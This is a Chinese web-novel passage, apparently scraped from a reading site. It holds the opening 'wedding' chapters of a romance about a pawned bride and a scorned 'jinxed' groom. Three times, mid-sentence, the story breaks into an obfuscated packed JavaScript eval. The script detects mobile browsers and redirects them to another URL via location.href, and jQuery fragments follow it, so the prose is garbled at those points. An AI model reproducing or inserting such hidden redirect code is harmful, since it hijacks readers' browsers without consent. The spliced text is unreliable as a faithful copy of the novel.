《桃花流水杳然去》
1. 新婚(一)
苏家院子门口停着一顶简陋的喜轿。
喜轿上歪歪扭扭倚着四个年过半百,无精打采的轿夫。
天上掠过一只鸟,“喳喳”叫两声,旁边看热闹的人说这是喜鹊在叫喜。
话音刚落,一坨鸟屎不偏不倚砸在他脑袋上,他于是改口,骂道:“晦气!”
四个轿夫闻言脸上终于露出笑。
年纪最大的那个应声:“可不是晦气么?咱们洛城有名的扫把星成亲,你们还上赶着看热闹,啧啧,真是嫌自己运气不够差的。”
围着轿子看热闹的人听见这话,为自己辩解:“宁家二郎是扫把星,可这苏家姑娘不是啊!我们是来看她的,又不是要见宁二郎!”
“就是,远远看两眼总没什么事!”
轿夫笑而不语。
那些人瞧他这仿佛看穿一切的神情,也都讪讪一笑,没好意思告诉他,为了这一日他们前一天特地去城南寺庙求符又去城北道观求签,现在面上看着无事,实际身上塞满了吉祥玩意儿。
他们并非不信邪,只是好奇心作祟,想着机会难得,一定要亲自来看看那宁二郎到底是什么模样。
有神佛庇佑,总不能让那宁二郎把晦气过到自个儿身上!
这般想着,都忍不住伸手掏一掏身上揣着的符纸。
轿夫瞧见他们的动作,也低头摸了摸怀里保平安的结儿,假装什么都不清楚。
不怪他们如此大费周章地做准备。
洛城里谁人不知道那宁家二郎是个煞星的命格,早些时候克死爹娘,又害得族里几个兄弟得病而亡,现在他兄长病痛缠身,也是被他所害。
宁家这么多年一直养着他是仁至义尽,如今寻了算命大师求解命之法,便只是要他去城郊旧宅成亲冲喜赎罪,没要他的命已经算是天大的恩情。
那旧宅原是宁家还未发迹时的住处。
宁老爷生前热爱山水,时常前往山间旧宅小住,最后更是病逝在旧宅。
他去世之后,旧宅无人打理,日渐荒废,至今未曾修缮。
算命的师父说他因宁二郎命格冲撞而死,死后魂魄不得入地府,成了怨鬼纠缠宁家阴魂不散,破坏了整个宁家的气运。
解铃还须系铃人,要转运,就必须要宁二郎亲自去旧宅冲喜。
宁家得了消息,二话不说就替宁二郎寻了八字相合的媳妇,安排了亲事。
只是可惜了苏家女儿,母亲去世得早,爹又是个赌鬼,早些年家产输尽,死性不改,如今在赌坊输了钱赔不起,就将女儿拿去抵债。
明明三日前她还与众邻里说笑聊天,三日之后就做了新嫁娘,去配那个丧气鬼!
也不知她今后跟着那宁家二郎要吃多少苦头!
一想到苏家女儿,众人皆唉声叹气。
没等留下几滴虚情假意的眼泪,一道急促的声音蓦地自院子里响起。
他们朝着门口看去,一抹红衣身影从门中闪出,一手提着包袱,一手拽着盖头,走到门口倏然顿住,十六七岁的新娘子瞪着一双光灿灿的眼睛,目光自喜轿和几个轿夫身上游移而过,之后气愤回头,质问:“催了我半天,才这么几个人来接我!新郎官呢?怎么没见着他来?”
跟在身后的喜婆喘两口气,扶着腰不客气地应道:“哎呦,先前不是说过了吗,新郎官今天来不了!”
喜婆身后还跟着几个年轻体壮的大汉,皆凶神恶煞地盯着她,苏静蘅丝毫不惧,闻言面色一冷:“来不了?为何——”
到嘴边的话没来得及说出口,喜婆伸手抢她手中的盖头,边拽边不耐烦的小声说道:“来不了就是来不了!你别问了!等你到了住处,自然能见到他!快点把盖头盖上,咱们快些走,应该能赶在天黑前到住处!”
苏静蘅紧紧攥住盖头不撒手。
她的力气很大,喜婆拽了半天没拽过她,怒道:“姑娘不要不识好歹!误了吉时,宁家追究起来,后果可不是你能承担的!”
苏静蘅冷哼一声:“什么吉时?我只记得他们一定要我在太阳下山之后才能过门,早一刻都不行,既然如此,你们又何必急于这一时?”
她从喜婆手里夺回盖头,对风抖了抖,依旧没有要上轿的打算。
众人见状面面相觑,来不及为看不见宁家二郎而感到失望,都屏住呼吸不敢发出声音,生怕被新娘子听见了,将眼前的怨气撒到自己身上。
他们也是第一次看见姑娘家成亲是这幅模样——出了家门盖头还没盖上,说起话来好像身上长了刺,喜婆若是说话再不客气一点,感觉她就要抡起拳头和她打一架了。
今日大喜的日子,她便是嫁衣也是如此寒酸,从衣领到裙角只是单纯的红,一朵多余的绣花都没有,也幸亏模样生得好,发间一朵红花一只银素簪,虽未多施粉黛,却如出水芙蓉,美得自然而不矫饰。
没人能忍住不去看她,苏静蘅顶着众人的目光,还想与喜婆再辩几句。
这时院子里走出另一个人影,她余光瞥见,到嘴的话瞬间吞了回去,愤然的神色被厌倦与不耐烦代替,她蹙起眉,唇角轻轻抿住,周围一切都因她突变的神色而变得凝重起来。
“蘅儿。”
苏父腆着脸上前与她说话。
苏静蘅却是出奇的安静。
她没理他,情绪在这一刻似乎彻底平静下来。
苏父还欲与她说话,她突然开口:“走吧。”
“啊?”
喜婆有些不敢相信,苏静蘅耐心地重复:“走吧,不是急着要送我走么?现在就走,要是误了吉时,宁家追究起来,后果可不是你能承担的。”
“蘅儿!”
苏父又唤了一声,这次被喜婆打断,她生怕她反悔,留在这里临时再生事端,赶紧冲轿夫挥绢子:“走走!赶紧走!这样才对嘛!来,新娘子上轿!”
苏静蘅抹了抹被攥皱的盖头,没有一点犹豫,往头上草草一盖,自己提着裙摆摸索着就往轿子那儿去。
前面的轿夫连忙压轿方便她上轿,围着的人这时才敢发出声音,一个个叹着气,说道:“走吧走吧,没热闹可看了!”
“早知道就不来了!浪费力气!”
“昨日去求的符没用上,唉呀,哪有人家办喜事新郎官却不来接亲的!”
人群吵吵嚷嚷正要散去,远处却忽然传来一道哨儿声。
众人皆朝着声音的方向望去,一人一马出现在崎岖小路上,有人惊疑出声:“那是——”
苏静蘅停下脚步,周围似乎陷入一片疑惑的宁静当中。
但很快,一道清冽的男声自耳边响起,打破这诡异的沉默。
“是我来得迟了!”
苏静蘅愣在原地,抓着裙摆的双手松松握握,接着又听见那人下马的声音,脚步声愈来愈近,那道声音再次响起:“诸位这么瞧我做什么?大喜之日,新郎官怎么可能不来呢?是我被绊住腿脚,耽搁了些功夫,来迟了,还请娘子莫怪!”
说罢,众人便瞧见这身穿红衣的少年停在苏静蘅面前,朝她恭恭敬敬弯腰俯首行了个歉礼。
所有人都怔在原地说不出话。
唯那喜婆看着眼前突然出现的少年,长大嘴巴:“你、你……”
这宁家二郎不是被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319100|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打晕了捆起来扔去城外废宅里了吗?
他怎么跑出来了?!
看守的人呢?
不是说没接到新娘子之前不允许放他出来吗?
不对——
喜婆又忽然惊醒。
他们将宁家二郎打晕是怕他不愿成亲冲喜,可如今他自己来了,这模样分明是愿意娶苏家娘子的,那宁府的人先前费那么多的力气干什么?还要她顶着压力一个人来接亲,这不是白给她找麻烦吗!
宁知序此时停在苏静蘅面前,浅浅打量她一眼,随后伸手在盖头前扫了扫,故作什么都不懂地发问:“你能看清楚路?为什么没人搀着你?”
喜婆回过神,干笑两声:“是新娘子自己不要人扶——这不等新郎官亲自来搀嘛!这种事那轮得到我们来办呢?”
苏静蘅默然。
透过大红色的盖头,她看不清宁家二郎的模样,但依稀能从透光的影子中分辨出他离自己是何距离,又做了什么动作。
四周议论声渐起,在场之人回过神,都对这忽然到来的新郎官十分好奇。
“这就是宁家二郎?模样倒是俊得很!瞧着与苏姑娘十分相配啊!”
“俊有什么用啊?还不是个扫把星!”
“是啊,哪有这么接亲的!随便找几个人来接新娘子,自个儿还迟到!苏家姑娘碰上他真是倒了大霉了!”
又是一阵叹息。
宁知序仿佛没听见那些讥嘲的话,他应着喜婆的话说道:“自然自然,接亲这事当然是要新郎官亲自来做,今日辛苦各位,后面之事交给我便好。”
喜婆听见他的话,连连点头表示应和:“是是!接下来都交给新郎官了!”
她以为接下来只要将人交给宁知序,然后自个儿跟着队伍将新娘子送到城郊住处就好,谁料宁知序听完她的话,忽然弯腰偏首,朝苏静蘅凑过去,好语气地询问她:“所以娘子可否愿意与我同去?”
他咬字重重落在“与我同去”四个字上面,苏静蘅皱了皱眉,不知他这句话是什么意思。
旁边的马此时发出几声嘶鸣声,她愣了愣,明白过来。
这宁二郎是问她愿不愿与他共骑一匹马回家!
她犹豫着,喜婆闻言脸色一变,赶紧打断:“这恐怕不符合规矩吧?”
“怎么不符合规矩?”
宁知序笑了声,“便是接亲都不让我亲自来,家里安排的这桩婚事何时尊过规矩了?”
周围的人听见此言,各个惊疑出声:“是宁家不让他来接亲的?为什么!这其中难道有什么说法?”
“我看是怕他身上晦气传给别人,所以将他关着,不让他出来祸害别人!”
话落,众人不约而同后退一步,但一想到自己身上有新求的护身符,一个个又挺直了腰杆,装作一点不怕的样子。
宁知序闻言一点不恼,还甚是好脾气地弯了弯唇角,随后朝着苏静蘅伸出手,道:“如何决定但听娘子选择,旁人没资格说道。”
苏静蘅心脏忽然不受控制地加速,她垂眸,从盖头的缝隙之下,看见一只骨节分明的手递到她面前。
似乎此刻也没有其他的选择。
她缓缓伸手,还未触碰到宁知序的指尖,便见他主动向前一伸,紧紧拉住自己的手。
与那清冽的声音不同,他手指上粗糙的茧子从肌肤上划过,苏静蘅猛地缩了下身子。
但没给她机会多想,一双手忽然箍住自己的腰身,她惊呼一声,紧接着身下一轻,宁知序将她打横抱起,上了马,便头也不回策马而去,只余下喜婆在身后急忙追赶的呼喊声。
2. 新婚(二)
城外的风刮得更加凛冽。
宁知序执着缰绳,将苏静蘅牢牢圈在怀中。
天边一片暗金色,从远处慢慢向此方延伸。
骏马载着红衣新人奔驰在初春新绿之中。
远山巍峨,青墨缠绵。
宁知序盯着远方,余光瞥见面前不停翩飞却始终未曾飘落的盖头,心思微动,深吸一口气,朗声道:“眼下不知是这春风不解风情,还是你这盖头更不解风——眼前景色不错,趁着天还未暗,你要不要摘下盖头看一看,顺便再喘口气?”
他换了称呼,苏静蘅微微一愣。
但她没那功夫细想,骏马疾驰的颠簸几乎让她五脏六腑都移了位。
马蹄每落地一次,疼痛就加剧一分。
疼,实在太疼了。
坠痛感逼得她不停吸气。
她捂着胸口试图将这难受的感觉压下去,然而还是无用,终于,她实在是忍不住,将头上的盖头扯下,提高声音喊道:“我觉得还是宁公子更不解风情一些!你这马跑得太快了!我难受!”
风声呼啸,苏静蘅怕他听不见,又提了提声音,说道:“我要吐了!”
“嗯?”
宁知序听见她的话,立刻勒紧缰绳,马儿发出一声嘶鸣,随后缓缓放慢脚步。
苏静蘅已经没有力气再跟他说话。
她身子慢慢软下来。
宁知序察觉到异常,调整抱住她的姿势。
同时,防止她从马上滑落,抱着她的力道也更紧了一些。
苏静蘅没精力去计较男女授受不亲的问题,她借力靠在宁知序身上,不停喘着气。
背后的男人此刻一言不发,察觉到一道炽热的目光钉在自己身上,苏静蘅缓过气儿,疼痛稍有缓解,立刻打起精神,回头照着那道目光直视回去。
她原想质问宁知序为何迟到又为要撇下那些人带着她离开,可抬头看见他那双眼睛,到嘴边的话瞬间憋了回去。
这真是一双十分漂亮的眼睛。
长睫如芳草,敛住一片春光。
天边灿色映在他眼中如夜幕星辰,加上眸光透露出的半分不解,便是他此刻蹙着眉,也独显一分纵意的气质。
苏静蘅盯了他半刻,默默吞了口唾沫,别过头没再继续看他,也没有说话。
马儿在原地踱步,她没说要下马,像个木头一样一动不动地僵在宁知序怀中,气氛就这样凝滞住。
还是宁知序先开口,打破宁静跟她道歉:“抱歉,忘了你不会骑马,走得实在心急了一些,你现在有没有好一点?”
苏静蘅点头,仍是没有出声。
见她点头,宁知序放下心,双腿夹了夹马腹,马儿便顺着小路悠闲前行。
“苏姑娘——”
宁知序开口唤她,解释道,“今日我并非故意要当着旁人的面轻薄于你,实在是情况特别,我没有其他的法子。”
苏静蘅依旧沉默地听着。
晚风悠悠,初春的傍晚实在有些凉,她不由紧了紧手里的包袱,又听见宁知序继续说:“你若是不想嫁与我,现在便可以离开。”
苏静蘅疑惑地皱起眉:“离开?去哪儿?”
宁知序抿唇,想了想:“去哪儿都行,只是最好别回你那家,我听说你那爹是个——”
他蓦地顿住,小心翼翼地查看苏静蘅的神色。
毕竟是她亲爹,不管做什么外人没有资格评价,他如此直言,说多了恐怕会冒犯她。
“是个赌鬼是吧。”
苏静蘅面不改色地接上他的话,“你不用顾及我的感受,经此一事,我与他已经没有关系了,他做事无情,我痛骂他还来不及,怎么会和你生气。”
宁知序挑眉,点头说是。
苏静蘅道:“不过宁公子将我带到这人生地不熟的地方然后让我离开,如此所作所为,与我那赌鬼的爹似乎无异。”
宁知序脸上神色一僵,低头注视着她。
苏静蘅直视他的眼睛:“我不走。我今日若是走了,被你家人知道,他们肯定还会派人去抓我,我哪里跑得过他们?”
“……”
宁知序接不上她的话,又听她愤愤地说,“而且我们的婚事整个洛城的人都知道了,我走不掉的,洛城之内我没有亲朋可以投靠,你若非要我走,也至少等我寻个落脚的住处才行!”
“我不是那个意思。”
宁知序一时不知道该说什么。
“那宁公子是什么意思?”
“我……”
宁知序有些迟疑,“你不怕我——”
他欲言又止,但看着她的眼睛,妄自菲薄的话终究没有说出口,他似乎担心她说出那个“怕”字,所以此刻格外注意她神色的变化。
苏静蘅思虑片刻,说:“我知道你也是被迫娶我,我若现在走了,也会使你落入两难之地,眼下没有其他的法子,只能先顺着他们的意思将这门亲事续下去。”
“……”
苏静蘅不喜欢拐弯抹角。此事闹得洛城上下皆知,所有人都在等着看他们的笑话。
她回不了家,一个人在外又无处可去,唯有宁知序那儿可以正大光明让她落脚。
她没办法,只能试着和宁知序谈判。
“反正我现在不能走,你当着那么多人的面将我接走,我们的事在旁人看来已经成了!要走也是你走!你若是不想走,咱俩就一块儿回去,一切等过些日子外面流言歇了,你家里人也不管我们,到那时候我们俩再各寻前程。”
宁知序紧紧盯着她,始终不置一词。
是,是他考虑不周。
此刻若是有人将他扔在荒郊野岭,对他说“你现在自由了,自己找个地方过自己的日子去吧”,他也会犹豫。
如今世道虽然清明,可离了家,一个人出去讨生计终归不是一件简单的事,更别说她十几岁,没有认识的人,出了洛城,恐怕两个讨生计的机会都没有,就要饿死在荒郊野岭。
“宁公子?”
苏静蘅见他发愣,出声打断他的思绪。
宁知序回过神,瞧她同样不输气势地盯着自己,眉梢轻挑。
抬头悠悠看向远方,眉间的沉郁一扫而空,他嘴角噙着一抹若有似无的笑,声音亦如风般凛冽,刮进苏静蘅耳朵里:“行,既然如此,苏姑娘也不要再如此见外了,叫我二郎便好,你愿留下,有什么要求尽管提,凡事只要我能做到的,自不会拒绝。”
苏静蘅闻言,摸了摸怀中包袱,语气略微温和一些,道:“不必这么说。等过段日子风头过去,我找到落脚的地儿自会离开,到时必会付你一笔住宿费做答谢——”
她话说一半,宁知序直言拒绝:“不用。”
“可是——”
马儿悠悠顺着小路往前走,苏静蘅还想再说,宁知序却是干脆猛地一挥鞭,马儿吃痛迈开腿开始狂奔。
苏静蘅动作被打断,她惊呼一声,身体一个不稳,倒在宁知序怀中。
宁知序迎风喊道:“抱紧了!别怕!很快就到!”
苏静蘅吓得闭上眼睛,明明上一刻还在好好跟他说话,谁知下一刻他就发疯了!
苏静蘅的脾气从来一点就容易炸,她紧紧抱住宁知序,恼羞成怒:“宁知序!”
-
马背颠簸,好不容易到了住处,苏静蘅觉得自己脑浆已经要被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319101|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇匀了。
宁知序先下了马,伸手要抱她下来。
她强撑着摇了摇头,推开他的手拒绝他的好意,随后学着他的模样,一只脚踩着马镫试图跳下来。
眼前闪着无数星星,她自以为跳得潇洒,落地时才知道过度的自信会带来什么样的后果。
右脚在地上踩了个空,刹那间剧烈的疼痛从脚腕传来,苏静蘅忍不住闷哼出声。
也幸亏宁知序眼疾手快在旁边扶了她一把,不至于让她摔出个狗啃泥。
“你没事吧?”
“……”
一只脚落地,另一只脚凭空吊着,苏静蘅一声不吭尝试用左脚往屋门口蹦,宁知序见状道:“我背你。”
“不用。”
苏静蘅抱着包袱继续固执地跳着。
宁知序觉得她是恼自己了,走到她身边强硬地扶住她。
再一次摸到他手心粗糙的茧痕,苏静蘅瞬间僵在原地,她没甩开他的手,但看向他的目光里仍然充满怨气,宁知序终于心虚了,慢慢开口道:“对不起……”
“……”
苏静蘅悠悠看着他,喉咙挤出一个淡淡的“嗯”字,然后说:“算了,你不要钱,我还不想给呢!”
她说话有点孩子气,宁知序笑了笑,随即感受到手上的力度一紧,苏静蘅便牢牢反握住他的手,就这样吊着一只脚拉着他蹦进屋。
这一处宅子比她心里想的要小很多——除了一间不大不小的厨房,便只有一座看起来年久失修,但勉强能住人的三连房。
她原以为宁家废宅就算再废也会是个大宅子,谁知比起自己家那破院子好不了多少。
不过房子虽然简陋了一点,但有个地方能让她睡觉已经很不错了,总比被这位宁二郎丢在城郊自生自灭的好!
苏静蘅被扶着跨过门槛,先入眼的不是屋里独具一格的简陋摆设,而是躺在地上失去意识的一条人影。
她觉得自己一定是被颠出问题来了,不敢相信地揉了揉眼睛。
睁开眼那人影还是一动不动地躺在面前。
“这是?”
宁知序神色从容地说:“是家里派来看守我的人,被我打昏了,死不了,你别害怕。”
“……”
他扶着苏静蘅坐下,又给苏静蘅倒了杯水放在桌边,随后蹲下身说:“让我看看你的脚腕伤得重不重。”
苏静蘅迅速缩脚,防备地看着他:“不必了,只是扭了一下,休息休息明天就能好,不用你帮我看。”
见她如此警惕,宁知序低低叹了口气,他不好强行查看,起身从旁边的木橱里拿出一个箱子,打开里面放着各色药瓶,从中挑出一个小瓷盒塞到苏静蘅手中:“那你自己上药,这药专治跌打损伤,灵的很,要是明天还没有好转,我再替你看看。”
苏静蘅点头道了声谢,宁知序又问她:“你饿不饿?天色已晚,现在做饭恐怕太迟,正巧今天回去的时候顺便偷了几个包子和饼,你在这里等着,我去厨房热一热给你吃。”
苏静蘅将瓷盒放回桌子上,听见他的话,疑问道:“偷?你还回去偷包子了?”
“嗯。”
宁知序耸肩,站在门口让出一道空儿,指着外面的马说,“那马也是我偷来的,不然你猜宁家的人怎会平白无故对我这煞星那么好。”
苏静蘅瞪大眼睛:“所以你是先打晕了这人,然后跑回城里偷了匹马才去接我的?”
“嗯。”
“为什么?”
苏静蘅不解,“你不去接亲也行,反正我总归是要来的。”
宁知序不甚在意地一笑,说:“可我那时怎么知道你‘总归是要来的呢’?”
3. 新婚(三)
宁知序对自己的事从来不是很上心,但若是牵扯到别人,他便不得不慎重起来。
若是她不愿意来,便可以趁这个机会放她离开。
若是愿意——
宁知序不慌不忙继续解释:“而且别家女儿成亲,都有夫君去接亲,我不若是去,那像什么样子,说出去对你的名声实在不好——”
他说着顿了顿,感受到一道震惊的目光落在自己身上,立即小声补充:“虽然与我成亲对你的名声已然有损,谁叫事发突然,前者我无力改变,后者我若是肯出点力,至少还能为你争一点面子。”
一个人偷马当然偷不出来。
但看马的马夫是自小就与他相识的好友,知道他的难处睁一只眼闭一只眼就让他把马带走了,回头吃点罚,叫他哪日回去请他吃顿饭就作罢。
所以偷马的过程并不艰险,艰险的是从看守他的人手下逃脱,还要走半个时辰的路进城。
也幸亏他习惯将宁家腰牌贴身放着,砸晕之后没被他们搜出来,进城出城拿着宁家腰佩一路畅通无阻,替他省了不少功夫。
宁知序嘴角牵着一抹笑,为了证明自己所说无假,他伸出手指点了点脑袋,道:“他们昨日趁我干活的时候将我敲晕了,我后脑勺现在还在疼!为了赶上接你,我从这儿跑回城里狂奔了一路,现在腿也挺疼的。”
“我瞧瞧呢。”
苏静蘅半信半疑,宁知序于是立刻把脑袋伸过去给她看。
“嘶——你轻点!”
苏静蘅伸手摸了摸他的后脑勺,果然鼓起好大一个包!
她的神色渐渐沉下来。
宁知序抬头看见她的脸色不大对,觉得自己说多了,像她这般的姑娘,向来听不得一点残忍的事,于是立刻抻抻肩挺挺胸,找补两句:“不过这也不算什么大事,我自小习武,身强体壮,一点小伤对我来说只不过是挠痒痒。”
“你自小习武?这么厉害?”
苏静蘅心里咯噔一下。
她虽跟了宁知序回来,可对他始终还是有些警惕,若是他身怀绝技,又心怀不轨,自己便是有再多的防备,也不一定打得过他!
嘶——
她摸摸怀中防身用具,不禁思考接下来要怎么做。
宁知序说:“那是,上房揭瓦,爬树掏蛋,这都是体力活,我自小就练!”
苏静蘅:”……”
这也算从小习武?
那她也算从小习武了,娘还在的时候,她也天天上房爬树,有事没事还跟隔壁小虎子打架,现在小虎子跟着他爹做铁匠,已经长成她两倍大了,看见她还心里发怵呢!
苏静蘅放下手正襟危坐。
她现在觉得宁知序也没那么厉害,无非是会骑马而已,她害怕骑马那是因为她从前没骑过,等以后学了,肯定骑得比他还好。
而且,宁知序要是真的那么厉害,干嘛还受宁家的桎梏,从家里随便拿点钱财逃出去,找个没人认识的地方安居,无人知道他是什么所谓的煞星宁二郎,那日子过得可比现在逍遥多了。
苏静蘅不是那种迷信的人。
比起相信宁知序克死宁家人,她更相信是那些人吃东西不小心把自己毒死了。
还有,她爹都没说自己是煞星,宁知序凭什么说自己是煞星?
论晦气他可比不上自己那个赌鬼老爹!
“宁公子这样厉害,那我就放心了。”
苏静蘅想来想去,没好意思直接表态,想了个恭维的说辞,然后问,“所以包子什么时候热好呢?我现在真的有点饿了。”
宁知序回过神:“马上!你在这儿等着,马上就好!”
他赶紧去厨房热包子,苏静蘅一人坐在堂房里,看见外面天上繁星显现,远处山间似乎还住着不少人家,几处灯火点缀山间,偶尔能听见几声女人们的呼喊声和男人们的应和声。
恍惚之间她以为自己喝醉了酒,此情此景竟然让她有一种飘飘欲仙的感觉。
彻底抛却从前想断不敢断的关系,如今无事一身轻。
这些年要不是因为听了娘的话,答应守住苏家,她也不会待在那破院子里和一个赌鬼斗智斗勇浪费力气。
现在好了,她拼尽全力守的家产没被当掉,反倒是自己被当掉了。
娘在天上知道了一定伤心。
苏静蘅忍不住叹息一声。
正想着,旁边的地上传来动静,她扭过头,看见原本躺在地上的人已经睁开眼睛,挣扎着坐起身。
他的嘴被布团塞着,说不出话,眼睛却是十分愤怒。
苏静蘅与他对视一眼,纠结地咬了咬唇,思索一阵之后,站起来,抄起旁边的条凳朝着他脑袋拍过去。
一记闷响之后,那人重新倒回地上。
苏静蘅继续安静地坐回去,直到宁知序捧着几个热包子和热饼回来,她说:“那个人刚才醒了,又被我拍晕了,我这么做没事吧?”
“……”
宁知序看着旁边移动过的条凳,动作微微一顿,不敢相信地问道,“你真能下得去手?”
“为什么下不去手?”
苏静蘅疑惑,“他是宁家派来盯着你的,那也不就是来盯着我的吗?你能拍他,那我也能拍他。”
宁知序:“……”
说的也对。
反正拍几次都是拍,你一次我一次,很公平。
宁知序将包子和饼放到苏静蘅面前,说:“先将就着吧,今天太晚了,实在来不及做其他的东西,明天我再给你做点好吃的。”
“你还会做饭啊?”
宁知序挑眉,毫不羞愧地自夸:“我爹死之后我就被我大哥发配厨房干活儿,一做就是五年,你要知道,我们宁家的厨子是整个洛城最好的厨子,我现在的手艺放到洛城最大的酒楼里都能当个主厨,你想吃什么随便说,我一定做给你吃。”
苏静蘅没说自己想吃什么,而是捧着下巴,真心发问:“这样啊,所以你在你家当厨子,可以说是掌握了全家的生杀大权嘛,你大哥对你那么坏,你就没想要下毒毒死他吗?”
宁知序闻言,诧异地盯着她看。
看着挺单纯的姑娘,怎么说起话来这么狠。
他想了想,不怕死地反问:“你爹那么坏,你就没想过离开他吗?”
“我不走是有原因的!”
宁知序摊手:“那我没毒死我大哥也是有原因的。”
“是什么原因呢?”苏静蘅捧着下巴歪头看着他。
宁知序:“……”
“算了,你不想说我就不问了。”
苏静蘅莞尔一笑。
宁知序咋舌,垂眸思忖片刻,回答道:“下毒这种小伎俩逃不过他的眼睛,宁家所有饭菜都要经过试毒才能上桌,若是被发现,到时候惨的又是我了。”
他说着打了个哆嗦摇摇头,苏静蘅见状问:“听你这话,你大哥不会还打你吧?”
宁知序连说两句“不至于不至于”,然后道:“你爹——”
苏静蘅反应很快,知道他要说什么,立刻打断他的话,改口说:“我的意思是,你大哥是不是亏心事做多了,连吃饭都要别人试毒。”
宁知序笑笑:“可能吧。”
苏静蘅继续盯着他看。
她想问的东西有点多,一时不知道要从哪里说起。
“其实—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319102|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—”
她盯了宁知序许久,宁知序在她炽热无比的目光之下,莫名其妙开始心慌,苏静蘅张了张嘴,他忽然惊慌地开口,“其实我只是个在厨房烧火的——当然也不只是烧火,我住在后院,还干点其他的杂事,但这几年闲的没事干,跟着我们宁府的厨子偷师学了不少手艺,所以说是厨子也差不多。”
“……”
她想问的其实不是这个事……
宁知序努力解释:“而且我娘手艺更好,比我们家厨子还要好,她过世之前教了我很多,所以要说我厨艺比府里的厨子好,那也是没错的……”
看他这么窘迫,苏静蘅倒不好意思多问了。
她拿起一个包子,掰了一半递给宁知序,见他吃了,自己才放心。
两个人就这般对面而坐,安安静静吃起包子来。
外边已经彻底暗下来,屋里没有点蜡烛,所幸月色明朗,月光斜照进屋,虽然比不上灯火光辉,但也能让他们清楚地看见彼此的神色。
“对了——”
宁知序吃了半个包子,抬头对苏静蘅说,“今天事发突然,他们应该还会派人过来,见了人你不必管,就假装看不见,我会想办法让他们离开。”
苏静蘅歪头,想到今天喜婆带去的几个壮汉,心里一阵胆寒。
宁知序看着她稍稍沉思,又拿了一块饼:“他们要先去宁府报信,不会耽搁太久,你早些睡,免得到时候还要浪费力气与他们周旋。”
“你能让他们走?”
“嗯。”
“他们好像对你挺放心的。”
“嗯。”
宁知序点头,之后却什么都不说。
苏静蘅看他不愿多说的样子,没再接话。
等将那几个包子和饼吃完,宁知序捧了碗碟要去洗,苏静蘅这时候起身打开她的包袱,拨开几件衣服,从里面掏出一块牌位。
宁知序见状瞪大双眼:“你你你!你怎么随身带着牌位?!”
苏静蘅抱着牌位一副“有必要这么大惊小怪”的样子,说:“就准你去偷家里的马,不允许我偷我娘的牌位了?我都从那家里走了,当然要把我娘也带在身上。”
宁知序吞了口唾沫,看她在屋子里挑了个好位置,将牌位摆放好,忍不住道:“你应该早点拿出来的,装在包袱里那么久,别把你娘闷坏了。”
苏静蘅静立不动,虽然没说什么,可宁知序还是从她脸上看出了四个字:“要你多管!”
“行行行,我不管。”
他好脾气地端着碗碟出去。
等洗完碟子回来,苏静蘅已经进了东房。
屋子不大不小,一扇门两扇窗,桌子一张椅子一双,另有一只足够大的柜子以及可供两人睡的床,简单却不简陋,一看便是提前收拾过的。
屋里还有几根蜡烛,苏静蘅拿了个烧过一半的点上,刚吹了火折子,回过头就看见宁知序抱臂靠在门口,悠悠问她:“对了,我们还没商量过今晚要怎么睡。”
苏静蘅:“?”
宁知序猛地回神,意识到自己说的话有歧义,立刻改口:“我是说,我们还没商量好这里的屋子要怎么分配,是你我共睡一间呢,还是——”
苏静蘅抱着被子连忙说:“东西两间,你我各一间,我睡东边你睡西边!”
“是么?”
宁知序若有所思地点点头,然后冲苏静蘅勾了勾手指,说:“你跟我来。”
苏静蘅吊着右脚蹦蹦跳跳地跟着他出了房门,走到西屋门口,他甚是潇洒地把门踹开,身后露出已经坍了半面墙甚至地面已经长满杂草的屋子,然后挑着眉梢问:“你当真忍心让我睡这边?”
4. 新婚(四)
“听说这山里还有狼,我要是半夜被狼叼走,你还能安心在这里住下去?”
苏静蘅揉揉眼睛,确定不是幻觉,吃惊地问:“怎么会这样?”
明明从前面看完好无损,怎么背后坍了这么大一块儿!
“风吹雨打,年久失修,这一边屋子算是彻底垮了,凭我们两个人一时半会儿修不好。”宁知序道,“所以你让我睡这边,这和风餐露宿有什么区别?”
苏静蘅垂下眼睫沉思一番,而后抬起头,试探着问:“那我睡西房你睡东房?”
宁知序:“……”
她睡西房?
那自己还得守夜盯住她防止她真的被狼叼走。
苏静蘅见他怎么都不满意的样子,懒得再想了,说:“这是你家,都听你的,你要哪间就是哪间,实在不行,不是还有堂房吗?我睡堂房也行。”
“……”
“当真?”
苏静蘅昂首,不甘示弱地说:“自然是真的。”
她生怕宁知序把她看扁了,回头就去收拾被褥。
东屋床上放着好几床新被,是宁家为宁知序准备的为数不多的成亲物品。
她把绣着龙凤图案的被子扔给宁知序,自己挑了一床颜色稍微浅淡些的,然后从柜子里拖出一卷席子夹在腋下就要去堂房安家。
